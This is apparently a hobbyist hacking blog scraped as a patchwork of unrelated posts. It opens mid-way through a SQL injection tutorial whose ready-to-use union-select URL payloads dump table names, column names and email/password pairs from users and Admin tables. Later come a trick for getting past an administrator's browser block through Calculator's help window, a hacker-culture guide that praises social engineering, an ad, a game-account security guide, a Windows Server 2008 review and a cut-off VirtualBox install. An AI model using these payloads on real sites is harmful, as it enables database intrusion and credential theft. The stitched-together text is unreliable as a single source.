database or which exact record you wish to pull from a column. concat() We will now use the concat() function to extract data from multiple columns if only one column is vulnerable, in this case remembering back the vulnerable column is 2, so we can only query in within this space. Command: concat(columnname1,0x3a,columnname2) 0x3a is the hex value of a semi-colon : so the output data from the query will be displayed like:this Example: wxw.site.com/index.php?Client_id=23+union+select+1,concat(email,0x3a,password),3 from users The above will output the first email and password found in the table. group_concat(): We will now use the group_concat() function to group all data from one column and display them on one page. Same as the above concat() command just grouping all records together and displaying them as one. Example: wxw.site.com/index.php?Client_id=23+union+select+1,group_concat(email,0x3a,pass),3 from users Now the above should return ALL e-mails and passwords listed in the email and passwords column within the users table. limit 0,1 The limit command is somewhat useful if you're looking for a specific data record. Say for instance we wanted to obtain the 250th record for emails in the table users. We would use: limit 250,1 Thus displaying the 250th e-mail within the data. Example: wxw.site.com/index.php?Client_id=23+union+select+1,email,3+from+users+limit+250,1 ------------------------------------------------------------------------ Version 5 - 1. Obtaining Table Names Now after that painstaking version 4 malakey lol, we're onto version 5, the easiest and quickest version of MySQL to hack, so many things are already done for you, so realise the possibilities and be imaginative. Obtaining table names for version 5 MySQL servers is simple, using information_schema.tables < For table extraction So, example of the URL from earlier, but imagine it is now version 5 Example: wxw.site.com/index.php?Client_id=-23+union+select+1,table_name,3+from+information_schema.tab les The above URL will display only the first table name which is listed in the database information_schema. So using group_concat() just like in version 4 works with the same principle. Example: wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3 from information_schema.tables We should now be able to see all the tables listed on one page, sometimes the last tables will be cut off the end because a portion of the page will be covered in table names from information_schema which aren't useful for us so really, I usually prefer to display table names from the primary database rather than information_schema, we can do the following by using the +where+table_schema=database() command: where => A query for selection
table_schema => Schema of tables from a database
database() => In context the primary database, just leave it as it is.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3+from+informat

ion_schema.tables+where+table_schema=database()

Example List of tables:
About, Admin, Affiliates, Access, Customer, Users

Now all tables should be displayed from the primary database, take your pick and get ready

to extract columns.


2. Obtaining Column Names from Table Names

Ok, suggesting from the above we decided to obtain column information from the table Admin.
Using information_schema once again but this time we will be using:
informaiton_schema.columns
instead of
informtion_schema.tables (as we want to extract columns now, not tables)

The thing with obtaining column information is similar to the principle of obtaining columns in version 4, except we dont have to guess, once again just one command lists them all when combines with group_concat()

Command:
Edit the vulnerable column (in this case 2) to:
column_name instead of table_name

And the end of the URL to:
+from+information_schema.columns where table_name=TableNameHEX

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=Admin

Now the above will return an error because of the way the command is used at the end of the URL (where table_name=Admin)
We must HEX the table name, in this case Admin
I use THIS website to for converting Text to Hex.

The HEX of Admin is: 41646d696e
Now we must add 0x (MySQL integer) at the front of the HEX, which should now look like this: 0x41646d696e
And pop it onto the end of the URL replacing Admin, so the URL should look something like the following.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x41646d696e

Now all columns from the table Admin will be displayed on the page, just the same as version 4 we will use the same command to extract data from certain columns within the table.

Say for instance the following columns were displayed:
username, password, id, admin_user

We would be able to do the same as version 4, replacing the vulnerable column (2) with a column name (one of the above) i.e. username and password using the concat() function.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,concat(username,0x3a,password),3+from+Admin

Will display the first username and password data entries from the columns username and password in the table Admin.

You can still use group_concat() & limit 0,1
Exactly the same as version 4.

Know when your friends and clients visit you.

Feedjit lets you see friends and visitors as they arrive on your blog or website. Know when your best friends read about your latest adventure. Be alerted when your most important clients view your latest product offering. Feedjit lets you know, right now, who is visiting your site. Simply add the Live Traffic Feed and instantly start seeing who is visiting your site as they arrive.
“Feedjit Pro lets you see your visitor’s journey from beginning to end and understand how they experienced your site.”

See the actual identity of hundreds of thousands of Feedjit members when they visit your site including their photo and links to their website and social profiles. You can make new friends and leads by contacting the Feedjit members who visit your site. The Live Traffic Feed turns your unknown readers into real people.

Our basic Live Traffic Feed is completely free and is ad supported. There is no trial period or credit card required. With the basic Live Traffic Feed you get a free real-time view of your site traffic. You can see all anonymous visitors arriving in real-time and the identities of Feedjit members who visit your site. You can also customize the colors of the feed to exactly match your blog or website theme.

Feedjit Advanced keeps up with your creativity and is free of ads. Match the theme of your site and easily fit your site design by choosing the number of visitors to display. As an Advanced user you even have the option to remove Feedjit branding and menus. Advanced users can watch visitors arriving from websites and search engines in real-time.

Feedjit Pro lets you see your visitor’s journey from beginning to end and understand how they experienced your site. Pro bloggers want to know even more about their visitors. Imagine being able to watch a person travel through your site as they visit each page. You can see how long they stayed on each page before clicking through to the next. Feedjit Pro includes all the features of Feedjit Advanced.

Feedjit Pro lets you opt to keep your visitor information private with a hidden Live Traffic Feed. We provide priority customer support to get you up and running fast. You can keep on top of important events happening on your site with real-time email alerts such as when you get a visitor from a new country or if a particular page on your site was just viewed.

Pro lets you analyze your visitor information in detail with advanced real-time graphs and charts. Dive into the specifics of which search engines and keyword searches send you the most traffic, how many new versus returning visitors visited in the last hour, which pages are the most popular on your site and many other graphs.

With Feedjit Pro you also have full access to all the Feedjit Advanced options to personalize the Live Traffic Feed.

Basic Hacking You MUST know+Ebook

Where Did I get it from?

To be honest with you, I don't even recall the original source of this eBook, but I do know it is a very good and basic one.

What does it cover?
-Where to start
-Needed Programming
-Linux and how to use it
-Password Cracking and Hacking
-Network Hacking [footprinting, etc...]
-Wireless Hacking
-Windows Hacking
-Malware
-Web Hacking



Download : http://www.mediafire.com/?bzul2p28d15mgx5
---------------------------------------------------------------------------------------------------------------------------------------------
Table of contents


Introduction
Respect
What to Learn
Style
Further Resources
Credits


Introduction


There are an infinite amount of people in the world. Everyone is different. There are no duplicates. The same can be said in the world of hackers. Not all hackers are the same, and a lot of hackers have different views on “Hacking”, but it is not the fact that we are all identical that makes us one entity; it is the big idea. See, what makes us hackers is the desire to learn, the urge to tweak any object we encounter, we want control, we don’t want to be controlled, we want to be anonymous, and we are intellectually years ahead of others; I would go on on this list if boredom didn’t exist. So, how do you know if you have the “Hacker Mindset”?
Read this document. It is titled “The Hacker Manifesto”.



Respect


One of my favorite things about the hacker community is how open it is to anyone. Quoted from the Hacker Manifesto “We exist without skin color, without nationality, without religious bias” In your days of being a hacker you will make friends from more than one country, you will meet someone that is a different religion than you, and you will encounter numerous people with a different mindset than you; but it doesn’t matter. You, as well as them, will be accepted as long as you follow the basic guidelines.

But, you don’t come into the hacker community as the best. Do not expect to be treated as a god when it is your first day. It takes work to earn the respect of a great hacker (i.e. Dennis Ritchie, Ken Thompson, Kevin Mitnick, or Phiber Optik). There are three main categories of hackers, and they are:

Script-Kiddies: These are the people who use other people’s tools and documents/resources available online. Script-kiddies usually have no idea what is going on ‘behind the scenes”, they just run their programs because they know that they work. These hackers usually have minimal skill level, but take up a large portion of the hacker community.

Intermediate Hackers: These are the halfway hackers. Intermediate hackers know quite a bit more than script-kiddies, and are decent enough to get by by themselves. They know about computers and networks, and use well-known exploits. A lot of halfway hackers want to be masters, and with the appropriate amount of work and dedication, they can be.

Elite Hackers: These are the skilled hacking experts. Elite hackers code many of the programs the the script-kiddies use, and develop exploits that intermediate hackers use. They can hack into almost any system, and cover their tracks, and sometimes, even make it look like someone else did it. They are often very secretive and only share their information with “subordinates” when they are deemed worthy. Elite hackers are very few in numbers, which is good for security companies.

There are many things that you have to learn to reach that glorious “Elite Hacker” status. Every hacker must make their own path, but in this tutorial I will attempt to help you achieve this goal to my greatest ability.
So, what can you do to up your status a little bit? Well there are plenty of things:

Write useful software
Help debug other peoples programs
Publish useful information
Server other hackers

One word that I used more than once on that list was “useful”. That is what will earn you some status in the hacker culture; being useful. Don’t just be there, be there and do something.

What to Learn

There are so many things that you need to learn in order to be a successful hacker, it is almost overwhelming. But I will try to sum this up for you:
Security (PC & Network)
Website Hacking (SQLi/XSS/etc.)
The Jargon (Slang)
Social Engineering (Human Hacking)
Encryption
WiFi Hacking
Linux/Unix
Programming (Any language)

There are things that can and should be added to that list, and it is by no means in order. This is not a tutorial on how to do each and every one of the things on this list, but it is here to point you in the right direction.

If I were to tell you where to start-- assuming that you have very little experience-- I would tell you to learn html. This is not meant to be your main programming language (unless you get unbelievably good at it), but it is a great starting point. Html will help you understand a lot of the problems that you will encounter online, and if there is ever a point where you would like to make a website, it would help you there too.

If I were to tell you where to go from there, I would tell you to learn a minimal amount of batch coding. This field is very much meant for beginners, and most hackers start out just trying to learn more about it (which then develops in to much more useful skills). Batch is just Command Prompt and Notepad. Watch some tutorials on YouTube, or look at the Batch ,Shell, Dos and Command Line Interpreters section (http://www.hackforums.net/forumdisplay.php?fid=49). Learning this won’t make you an Elite Hacker, but it will get you used to two things:

Basic Programming
Basic Command Line

Programming will help you all around, but the command line is mostly for Linux. If you don’t already know, Linux is an operating system. Linux is evolved from the Unix Operating system, which was developed in 1969-- That’s 12 years before windows! Linux was released in 1991 by Linus Torvalds. Linux actually stands for “Linux is not Unix”. Now, if you are still reading after that boring history lesson, then that means you are showing a great virtue that every hacker needs.... Patience. I would advise you to head on down to http://www.ubuntu.com/download and pick up your own version of Linux. NOTE: Linux will run side by side with windows, you can have two operating systems on one machine.

Social Engineering is another thing that is vital for you to become a successful hacker. Social Engineering is the art of human hacking, and is often abbreviated at SE. It will do countless things for you in your career. See, flaws in a computer network get patched, but human flaws will never diminish. Kevin Mitnick was said to be one of the greatest social engineers ever. Kevin could convince anyone that he was someone else-- whether it be on the phone, or emailing, he was perfect at getting his way. The great thing about social engineering is that you can use it in everyday life, wherever you go. Out of all the skills that you could learn to be a great hacker, this may be one of the most important.

Style

Hackers can’t always be at the computer, and although there is no real substitute for hacking, there are plenty of things that you can do to that can do to feel somewhat connected to the art of hacking.

Learn to write well: Hackers aren’t like the media makes it seem where you only are allowed to talk in numbers. Most great hackers have near-perfect grammar and spelling. It will also help people understand you better (this is especially useful if English isn’t your main language. And I know by experience that it will earn you some more respect as well.
Watch Star Trek: It’s just a great movie. There are all of the T.V. episodes too, but the movie was awesome.

Mystery books are a good thing: A lot of hackers will tell you to read sci-fi, but mystery books make you think. Thinking is good.

Nerd? Don’t worry about it: As mentioned earlier, real hackers don’t care if you are a nerd. We exist without a bias, and most people follow that golden rule. Anyone who doesn’t isn’t a real hacker.

Meditate: It may seem weird if you have never done it before, but meditation will make you a ridiculously better person. If I was to recommend you a guide for mediation, it would be http://www.amazon.com/Minute-Meditation-...689&sr=8-1

Have an ear for music: Learn to appreciate more than one style of music. Most hackers prefer either rap, or techno (dubstep) and some develop a love for both. The ability to enjoy any music though, is a great trait.

Be a genius: I always strive to be a genius, no matter how much of a stretch it may be. It keeps your mind active, and it will make you, obviously, smarter. Being a genius will make it infinitely easier to learn about hacking, and it will make you much more aware of everything going on around you.

If there is one thing that you shouldn’t do however, is use silly/immature screen names. How respected do you think you will be if your name is “I_Rape_Yung_P00dles”? You won’t ever be taken seriously like that, and it makes you look like a waste of time. Another thing that you should avoid doing is flaming. I am not saying that you should be a brownnoser to everyone that you meet, but avoiding conflicts, and decent amount of respect for the people who deserve it will make you a well liked hacker.

Further Resources


http://www.catb.org/~esr/faqs/hacker-howto.html This is the document that I read that got me started hacking. It is a great starting point.

http://www.google.com/ This website is very secret, and not many people know about it. It will answer any question that you will have on your journey.

http://whatishacking.org/ Is a small site with the purpose of showing the world hacking isn’t bad. It has a couple of the same resources listed here.

http://www.mithral.com/~beberg/manifesto.html The hacker manifesto. This was listed in the document as well.

http://www.social-engineer.org/ Social Engineering hub

http://www.amazon.com/Social-Engineering...0470639539 A great Social Engineering book

Credits


This guide was made entirely by Eminent. If you see this posted by anyone else, please notify me. If any of the links are ever faulty, please post in this thread, and I will fix it as soon as possible. If you have any requests for a guide then contact me and there is a great chance that I will do that for you, if not, then I will reference you to a guide that I know is better than one that I could write. Anyone who needs help further than this then I will gladly assist you (Note: I will not help you if you have not read this thread. I will not help you if you have not tried everything in this thread first).

Surf the web without any Internet Browser!

Ever find yourself sitting in front of a computer where Internet Explorer or Firefox was blocked by IT Administrator, and restricted you from installing any software? If that PC is running Windows XP, then there is chance for you to still surf Internet. Just follow these simple steps:

Open Calculator, Start> Program Files> Accessories> Calculator or press Windows+R and type ‘calc’ in the run box, click OK.
In Calculator, go to Help> Help Topics.
Right click on the left hand side of the title bar and click on ‘Jump to URL’.
Type in the URL and make sure include the ‘http://’ at the beginning.


Note:
Basically what you are looking at is Internet Explorer 6 inside a help window, but this version of program isn’t quite smart as Internet 6. This was tested in Windows XP SP2 with Internet Explorer 6 and I’m not sure whether it will works in Internet Explorer 7 installed computer.

Hacking and Stuff

Ok so guys i wil be adding a Section on this blog on how to hack :O!! Enjoy >:)

http://www.w3schools.com/

http://www.Cplusplus.com


Two Great websites to start learning

Html and C++

I will be giving away Some C++ Ebooks so stay tune ^^

Thank you

Thank you guys For reading my posts thank you very much

How to Avoid Getting Hack!

Afraid of your soul being stolen are you, youngling? Nay, I'll not steal it, but there are those who will, yes, those who will ...

Is it still paranoia if they really are out to get you?

The first thing to remember in all of this: It is unlikely that anyone will truly try to hack you, or anyone, in the sense of an attack through Nexon's servers. If they do, risking a felony conviction, they'll be after something more worthwhile than your game characters: credit card numbers, business information to sell to Nexon's competitors, or whatever. But not your characters or their stuff. What people call "hacking"in Nexus might better be called "password theft". Nearly all of it takes place because someone is conned into giving their character passwords to someone else.

However, there are some people who will take a technical approach, such as trying to persuade or trick you into installing a so-called "trojan horse" program, to get by stealth what you will not give them. This is a threat anywhere, not just in regard to Nexus, so taking some care to avoid it is well worth your while. $30 for a trojan sniffer or $40 for an anti-virus program might seem extreme, but how much would you pay to get your data back after some jerk trashed your system?

Some of the precautions people have suggested, such as not going to any websites at all, for any reason, are extreme. Sure, barricading yourself in your basement will generally keep you from getting mugged, but do you want to live that way? The solution isn't to walk down the street in the bad part of town flashing a roll of hundreds, nor cower in your basement for the rest of your life, but take sensible precautions without giving way to hysteria. You CAN avoid these creeps. It takes a bit of common sense and some common software.

First of all, things you MUST HAVE:

A good anti-virus program. I use Norton's. Yes, go pay for it! Update it at least once a month, once a week is better. No, anti-virus programs won't catch all trojans, but they do nab the common ones.

A trojan scanner. Go to www.moosoft.com and download The Cleaner. It has a 30 day free trial, $29.95 to register. If this saves your multi-year, multi-hundred-dollar investment in your Nexus character (remember Law 33: getting hacked is a crime) it's cheap insurance.

A firewall. Go to www.zonelabs.com and download the free version of ZoneAlarm. Yes, it's free for personal use, as a promo for their bigger, better, fancier business version. It's also a very highly rated firewall.

Next, some things you MUST DO:

Turn OFF the "Hide file extensions for known file types" option. This can be changed in Windows Explorer (NOT Internet Explorer) under View | Folder Options, on the View tab. ON is the default setting, which makes it easy for people to send you something.jpg.exe and slip you a trojan without you knowing it.

Turn OFF file & printer sharing unless there is some essential reason why you absolutely must leave it on. This is even more important if you are on a cable connection -- that's basically a LAN, and you probably don't want to share your computer with a few hundred of your neighbors.

Turn OFF auto-install, auto-download, auto-backscratch, etc. in your Web browser. Do not let it download or run anything without getting your permission first.

Turn OFF Java support in your Web browser. (JavaScript is ok) If you absolutely need Java for a particular website, turn it on, and back off when you're done. It has some major security holes, especially in Internet Explorer.

Use non-Microsoft email software. Outlook and Outlook Express are especially vulnerable to macro virii, such as the "I love you" virus of recent memory. Eudora Lite is good, fast, and free.

Set the default application for .DOC files to WordPad instead of Word. WordPad has no scripting capabilities, so it's safe from macro virii.

One big thing you MUST NOT DO:
Never, ever, ever use the same password for your Nexus characters that you do for anything else. Don't use the same password for your email account that you do for anything else. Don't use the same password for any two of your characters either. That way, if one password is compromised, the rest are still safe.

Finally, things you MUST REMEMBER:

Nexon will never ask for your password. It is truly mind-blowing, the number of people who still fall for that scam. Nexon absolutely positively does not ever need your password to do anything they want to. Nexon owns the servers. The root user is God!

If something sounds too good to be true, it is. Random strangers don't give away something for nothing. ("Come here, little girl, I have some candy for you...") There is no software, anywhere, that can level you, make you rich, etc.

Remember what they taught you in health class? When you have sex with someone, you're having sex with everyone they've ever been with. Computer security is the same way: When you trust someone, you are trusting everyone they have ever trusted. If one of those people's security was compromised, yours is too. Many of the victims of trojans have been sent to the hostile website or given the trojan itself by hacked friends.

It's a long list, but most of it can be done in just a few minutes. Don't be paranoid -- but be safe.
Useful websites:

Gibson Research -- Shields Up! online port scanner, security information
Zone Labs -- ZoneAlarm free firewall
MooSoft -- TheCleaner trojan scanner/remover
Symantec -- Norton Anti-Virus publisher; virus/trojan info library
McAfee Inc. -- online virus scan and virus/trojan info library
Computer Emergency Response Team -- up-to-date virus and security information

Windows Server 2008 Review

Windows Server 2008 is the most substantial upgrade to the Windows Server product line since Windows 2000, with a sweeping set of capabilities and a reengineered core that will usher in a new era of 64-bit server computing. Like its Windows Vista stable mate, Windows Server 2008 was in development an achingly long time, and some of its many features were originally slated for its predecessors, Windows Server 2003 and Windows Server 2003 R2. Unlike Vista, however, this lengthy schedule hasn't proven problematic. In fact, it's arguably worked to the product's advantage: This is a refined, mature, and stable operating system that will no doubt power server systems of all kinds for years to come.

Though Windows Server 2008 utilizes an evolved version of the Active Directory (AD) infrastructure that first debuted in Windows 2000, many of the features of this new OS are radical and revolutionary. Key among these major advances are Server Core, which provides a lightweight version of the server aimed at specific workloads, and Hyper-V, Microsoft's hypervisor-based virtualization technology. (This latter technology is currently available only in beta form; see below for details.) As befits a major Windows Server upgrade, however, Windows Server 2008 also includes a slew of smaller functional advances as well as key gains in scalability, reliability, manageability, performance, and security.
Charting the changes: A look at new Windows Server 2008 functionality

Windows Server 2008 is feature-rich upgrade with numerous functional advantages over its predecessors. Here are some the changes in this release that I feel will have the biggest customer impact.
Componentization with a purpose

Microsoft has completely rearchitected Windows Server to be functionally componentized, a major change that has wide-reaching ramifications. At a high level, componentization allows for a more easily serviceable system, both for Microsoft and its customers. It also provides for a more secure and reliable system, because communication and dependencies between individual components is kept to a minimum.

More specifically, componentization enables some of Windows Server 2008's most exciting new functionality, such as its image-based deployment facilities, roles-based management, and Server Core.
Server Manager

While previous versions of Windows Server featured separate management consoles for all of the various roles and features in the OS and, in Windows Server 2003, a simple Manage Your Server dashboard, Windows Server 2008 provides the new Server Manager. This is a true one-stop shop for daily management needs and is the only tool that many Windows administrators will need to use on a regular basis.

The MMC-based Server Manager provides a user interface for managing each installed role and feature on the system, including Active Directory Domain Services, Application Server, DHCP Server, DNS Server, File Services, Terminal Services, Web Server, and many others. It also includes numerous valuable troubleshooting tools like Event Viewer, Services, and Reliability and Performance utilities, configuration tools like Task Scheduler, Windows Firewall, WMI Control, and Device Manager, and the new Windows Server Backup.

What makes Server Manager even more useful is that each section of the console's UI gets its own dedicated home page, each of which includes information pertinent to the role or feature at hand, along with links to fix problems, get more information, and access other tools. It's a thoughtful, well-designed application, both logical and useful.
Server Core

Unlike previous Windows Server versions, most Windows Server 2008 product editions can be installed in two modes, the traditional GUI-based server we've had since Windows NT 3.1 and a lightweight new command line-based environment called Server Core. In this new installation mode, Microsoft has stripped out virtually all the GUI, so there's no shell (Start Menu, taskbar, Explorer windows, etc.), and little in the way of end user applications; such things as Windows Media Player, Internet Explorer, and Windows Mail are all missing, though a few GUI-based applications, like Notepad and Task Manager, are still available. For the most part, the only user interface you'll see in Server Core is a single command line window floating over an empty blue backdrop. It's the ultimate anti-demo.

So what's the point? Server Core is designed to reduce the attack surface of the server to be as small as possible. As such, a Server Core install is also more limited than that of a standard Windows Server 2008 installation. It supports just nine roles, including AD, AD LDS, DHCP, DNS, File, Print, Virtualization (Hyper-V), Web Server, and WMS, compared to 18 roles in the full server.

Because Server Core is still Windows Server 2008, all of the familiar GUI-based management tools will work just fine remotely against this server. What won't work, in addition to the missing roles, is anything that requires a true GUI or the .NET Framework. This cancels out some key Windows Server 2008 functionality, unfortunately, including ASP .NET: Server Core's Web Server role is pretty much static only, supporting only older, non-.NET technologies like ASP.

My expectation is that Server Core will prove hugely popular as an infrastructure (AD, DNS, DHCP, file, print) server and as a low-cost, low-end Web server. It's a product that should compete well with Linux-based solutions.
BitLocker Full-Drive Encryption

BitLocker is a full-drive encryption solution that first debuted in Windows Vista as a way to protect data stored on easily lost and stolen executive notebook computers. It requires TPM 1.2-based hardware to store encryption keys and can be configured via Group Policy.

On the server, BitLocker is particularly valuable for machines stored in branch offices, because those servers are often less well physically protected than the machines back in the home office. If a thief walks off with a BitLocker-protected server, they won't be able to access any of the data stored on the system's hard drives. BitLocker also works really well with some of the other technologies discussed here to create a truly secure and useful branch office solution. (See the RODC section below for an example.)
Read-Only Domain Controller

Read-Only Domain Controller (RODC) is new functionality that allows administrators to optionally configure the AD database as read-only, where only locally cached user passwords are stored on the machine and AD replication is unidirectional, rather than bidirectional.

So why would you want to do this? Today, many organizations are installing servers in branch offices and other remote locations, and these servers often connect back to the home office using slow or unreliable WAN links. That makes AD replication--and even authentication--an arduous and lengthy process. With RODC, the server is typically set up and configured in the home office, shipped to the remote location, and then switched on. From then on, only the user names and passwords of users who hit the server locally--and not the administrator account--are cached locally on the server.

Like BitLocker, RODC is an excellent solution for physically insecure remote servers. Indeed, if you combine RODC with other new Windows Server 2008 technologies like BitLocker and Server Core, you can configure the most secure remote server possible. That way, even hackers who gain physical control of the server can't take over your network. And removing the stolen RODC from your AD is as simple as checking a switch: Only those users who logged on to that machine will need to change their passwords. You won't have to institute an organization-wide emergency, because most users' accounts will not have been cached on that machine.

RODC is somewhat limited in that it can only support a subset of the roles and functionality normally supported on Windows Server 2008. For example, RODC-based servers can support technologies such as ADFS, DHCP, DNS, Group Policy (GP), DFS, MOM (Microsoft Operations Manager), and SMS (System Management Server).
Internet Information Services 7

The new Web server in Windows Server 2008 is driven by a major new update to Internet Information Services (IIS). Like the server itself, IIS 7 is completely componentized so that only those components needed for the desired configuration are installed and, thus, need to be serviced. It sports a drastically improved management console, supports xcopy Web application deployment and delegated administration, and is backed by a new .NET-based configuration store, which replaces the previous, monolithic, configuration store.
Terminal Services

Terminal Services (TS) sees some major changes in Windows Server 2008. The new TS RemoteApp functionality allows admins to remotely deploy individual applications to desktops, instead of entire PC environments, which can be confusing to users. These applications download and run on user desktops and, aside from the initial logon dialog box, function and look almost exactly as they would were they installed locally. This functionality requires the new Remote Desktop client, which shipped in Windows Vista and can be downloaded for Windows XP with SP2 and above.

TS Gateway lets you tunnel TS sessions over HTTPS outside the corporate firewall, so that users can access their remote applications on the road without having to configure a VPN client. This is particularly useful because VPN connections are often blocked at wireless access points, whereas HTTPS rarely is.

TS gets a few small but useful changes as well. These include TS Easy Print, which makes it easy to print to local printers from remote sessions, 32-bit color support in TS sessions; and seamless copy and paste operations between the host OS and remote sessions.
Network Access Protection

Microsoft first planned to ship simple and easily configurable network quarantining functionality in Windows Server 2003, but it's here at last with Network Access Protection (NAP). This feature allows you to setup security policies for your network: When a client system connects, NAP examines the device to make sure it meets the requirements of your security policies. Those that do are allowed online. Those that do not--typically machines that only connect infrequently to the network, such as those used by travelling employees--are pushed aside into a quarantined part of the network, where they can be updated. How these updates happen depends on the configuration of your environment, but once that's complete, the system is given full access again and allowed back on the network. NAP includes remediation failback to Windows Update or Microsoft Update if the local Windows Server Update Services server is unavailable, and compatibility with Cisco's Network Admission Control (NAC) quarantining technologies.
Windows Firewall

For the first time, Windows Server ships with a firewall that is enabled by default. The new Windows Firewall is bidirectional and works seamlessly with all of the roles and features you can configure in Windows Server 2008. In fact, the Firewall is part of the new roles-based management model: As you enable and disable various roles and features, Windows Firewall is automatically configured in the background so that only the required ports are opened. This is a major change, and one that could hamper compatibility with third party products, so testing will be crucial.
Command line and scripting goodness

Those who prefer to automate their servers will rejoice at the new command line and scripting enhancements in Windows Server 2008, though I'm a bit concerned by the haphazard and temporary nature of some of these changes. In this version of Windows Server, we're seeing the beginning of the transition from the old DOS-like command line to the new .NET-based PowerShell environment. For now, however, you'll need to have a toe in both environments to best take advantage of the new capabilities. Server Core, for example, does not support PowerShell.

One the command line side, we get two major additions: A Server Core management utility called oclist.exe and a command line version of Server Manager called servermanagercmd.exe. Both are designed with the same premise, providing ways to configure and manage the roles that are possible under each environment.

PowerShell is a complex but technically impressive environment, with support for discoverable .NET-based objects, properties, and methods. It provides all of the power of UNIX command line environments with none of the inconsistencies. The issue, of course, is whether Windows-based administers will quickly move to this new command line interface. Sadly, Windows Server 2008 doesn't help matters much: It doesn't ship with any PowerShell commandlets--fully contained scripts that can be executed from the command line--that can handle common management tasks. Microsoft tells me it will ship Windows Server 2008 commandlets on its Web site over time, however, and it expects a healthy community to quickly evolve as well.
Hyper-V

One of the most important and future-looking technologies in Windows Server 2008 isn't even available in the initial shipping version of the product. Instead, Microsoft is shipping a beta version of its Hyper-V virtualization platform with Windows Server 2008 and will update it automatically when the technology is finalized sometime after mid-2008. Hyper-V is a hypervisor-based virtualization platform that brings various performance advantages when compared to application-level virtualization platforms like Virtual Server. Compared to market leader VMWare, Microsoft's offering is immature and unproven, but its inclusion in Windows Server 2008 is sure to garner Microsoft some attention and market share. And there are advantages to this bundling: From a management perspective, Hyper-V is installed and managed as a role under Windows 2008, just like DHCP, file and print services, and other standard roles. That means it's easy to configure, manage, and service.

Hyper-V ships only with x64-based versions of the product and relies on hardware virtualization features that are only available in the latest AMD and Intel chipsets. It supports both 32-bit and 64-bit guest operating systems, up to 32 GB of RAM in each guest OS, and up to 4 CPU cores for each guest OS. Hyper-V is compatible with virtual machines created for Microsoft's earlier virtualization products, like Virtual PC and Virtual Server.
Availability and licensing

As with Windows Vista, Windows Server 2008 is available in several different product editions. These editions support different hardware platforms (32-bit x86, 64-bit x64, and Itanium), some of which include support for the Hyper-V virtualization technologies and some that do not. (Note that Hyper-V is only enabled on x64 versions of Windows Server 2008; Microsoft sells versions with and without Hyper-V included.)
Windows Web Server 2008

Availability: Separate 32-bit (x86) and 64-bit (x64) versions
Pricing: $469
Supported processors: 4
Supported RAM: 4 GB (x86) or 32 GB (x64)
Notes: Windows Web Server is designed specifically around the Web Server role and cannot be used as an AD domain controller. (It can, however, be configured as a domain member.) This version does not include Hyper-V, but does support Server Core installs.
Windows Server 2008 Standard, Windows Server 2008 Standard without Hyper-V

Availability: Separate 32-bit (x86), 64-bit (x64), and 64-bit (x64) without Hyper-V versions
Pricing: $999 (with five Client Access Licenses, or CALs); $971 without Hyper-V
Supported processors: 4
Supported RAM: 4 GB (x86) or 32 GB (x64)
Notes: Includes one virtual instance per license.
Windows Server 2008 Enterprise, Windows Server 2008 Enterprise without Hyper-V

Availability: Separate 32-bit (x86), 64-bit (x64), and 64-bit (x64) without Hyper-V versions
Pricing: $3,999 (with 25 CALs); $3,971 without Hyper-V
Supported processors: 8
Supported RAM: 64 GB (x86) or 2 TB (x64)
Notes: Includes four virtual instances per license. Builds on Standard edition and adds Windows Clustering.
Windows Server 2008 Datacenter, Windows Server 2008 Datacenter without Hyper-V

Availability: Separate 32-bit (x86), 64-bit (x64), and 64-bit (x64) without Hyper-V versions
Pricing: $2,999 per processor; $2,971 per processor without Hyper-V
Supported processors: 32 (x86) or 64 (x64)
Supported RAM: 64 GB (x86) or 2 TB (x64)
Notes: Includes unlimited virtual instances per license. Builds on Enterprise Edition.
Windows Server 2008 for Itanium-based Systems

Availability: A single 64-bit version designed for Intel Itanium-based servers
Pricing: $2,999 per processor
Supported processors: 64
Supported RAM: 64 GB
Notes: This version of Windows Server 2008 does not support Hyper-V or Server Core and is designed for three discrete usage scenarios: Large databases, line-of-business (LOB) applications, and custom applications.
Microsoft Hyper-V Server

Availability: A single 64-bit (x64) version
Pricing: $28 (no, that's not a typo)
Notes: The new Hyper-V Server is a special version of Windows Server 2008 that only supports the Hyper-V role, providing a near "bare metal" install option for those who wish to run extensively virtualized environments. This version of the product won't ship until Microsoft finalized Hyper-V later in 2008.

In addition to these products, Microsoft recently announced that two new Windows Server 2008-based products will debut in the second half of 2008, Windows Small Business Server 2008 and Windows Essential Business Server 2008.

Windows Small Business Server 2008, codenamed Cougar, is aimed at businesses with up to 50 PCs. It will ship in two versions, one of which includes Windows Server 2008, Exchange Server 2007, SharePoint Services 3.0, and one-year trial subscriptions to Forefront Security for Exchange Server Small Business Edition and the new Windows Live OneCare for Server. A Premium version of the product adds a second copy of Windows Server 2008 and SQL Server 2008 Standard Edition and can be installed on two servers.

Windows Essential Business Server 2008, previously codenamed Centro, is a new product aimed at medium sized businesses with up to 250 desktops. This product is installed on three separate servers and includes Windows Server 2008, Exchange Server 2007, Forefront Security for Exchange Server, System Center Essentials 2007, and the next version of Internet Security and Acceleration Server. A Premium edition of the product will also include SQL Server 2008. Windows Essential Business Server requires at least three physical servers.

Both products will be sold only in 64-bit (x64) versions.
Final thoughts

This review only touches the surface of the new functionality in Windows Server 2008, highlighting but a subset of the improvements Microsoft has shipped in this release. There is a lot more to say about this impressive update, and of course my Windows IT Pro Magazine compatriots and I will do just that over the coming months. Though familiar on the surface, Windows Server 2008 enables so much new functionality, and comes with so many changes, that you will need to dedicate some time to understanding how these changes will benefit your own requirements and needs. This effort is worthwhile: Windows Server 2008 is a solid and impressive upgrade that should meet the needs of virtually any business customer. I see no serious downsides to this product at all. Highly recommended.

Virtual Box

Out of the many virtualization software, VirtualBox is my personal favorite. It is lightweight, run fast and support a great deal of OSes (including Mac Snow Leopard). The latest release of VirtualBox 4.0 brings even more changes to the already useful software. This is a major release and it added plenty of new features as well as improvement for existing functions. Let’s take a look at what’s new in this release.

VirtualBox works in all platforms, including Windows, Linux and Mac.

First, make sure that you have removed all your previous installation of VirtualBox. For Windows and Mac, simply download the installer (.exe and .dmg files respectively) and install them in your system.

In debian based Linux, you can add the following repository to your sources.list file:
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sudo gedit /etc/apt/sources.list

Add the following line to the end of the file
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deb http://download.virtualbox.org/virtualbox/debian maverick contrib

Save and close the file. Next, type
